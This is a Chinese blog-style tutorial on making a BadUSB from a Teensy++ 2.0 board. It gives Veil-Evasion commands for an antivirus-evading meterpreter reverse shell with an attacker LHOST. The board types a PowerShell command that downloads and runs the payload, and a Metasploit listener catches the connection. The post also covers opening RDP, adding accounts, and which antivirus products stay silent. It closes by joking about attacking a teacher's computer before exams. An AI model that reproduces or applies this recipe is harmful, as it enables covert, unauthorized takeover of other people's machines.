天天看点

利用烧鹅制作简单BadUSB,插谁谁怀孕

所用硬件设备为烧鹅,烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板。 

使用veil编码meterpreter生成payload(经过编码的payload在杀软中仅能够存活几分钟),放到服务器上。插入烧鹅,模拟键盘输入,在cmd中下载payload,并执行。 

0x1 利用veil编码打造免杀的meterpreter 

root@kali:~# veil-evasion          //启动veil 

[>] Please enter a command: list    //查看可选列表 

26) python/meterpreter/rev_tcp 

利用烧鹅制作简单BadUSB,插谁谁怀孕

[>] Please enter a command: 26     //这里选择编号为26的payload 

[>] Please enter a command: set LHOST 192.168.31.233  //设置LHOST 

利用烧鹅制作简单BadUSB,插谁谁怀孕

[>] Please enter a command: generate             //对payload进行编码 

[*] Press [enter] for 'payload' 

[>] Please enter the base name for output files: a   //输入生成的payload名字 

[>] Please enter the number of your choice: 1 //选择编码方式 

利用烧鹅制作简单BadUSB,插谁谁怀孕

[*] Executable written to: /root/veil-output/compiled/a1.exe  //生成经过编码的payload位置 

0x2 将执行代码写入badusb中 

使用Arduino IDE 写入,其中下载使用的是PowerShell,如果使用vbs那种方法,360会报警

利用烧鹅制作简单BadUSB,插谁谁怀孕

对于win7开启3389,并加帐户,使用

在学校中利用3389比meterpreter更加好用。开启3389,杀软不会提示。添加帐户,360会提示,电脑管家不会提示。

对于执行修改dns等一些需要输入中文的地方,就比较麻烦了,暂时还没想到好的方法,只想到模拟键盘输入 Shift + Ctrl开启输入法....利用条件比较苛刻

0x3  等待目标连接 

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 E  //开始监听,等待连接 

利用烧鹅制作简单BadUSB,插谁谁怀孕

将USB插入目标机器,执行相关命令 

目标机器上线 

利用烧鹅制作简单BadUSB,插谁谁怀孕

PS:玩法还有很多,还可以开启目标机器3389,新建用户等等,快要期末考试了,不要拦着我,我要去插下老师的机器......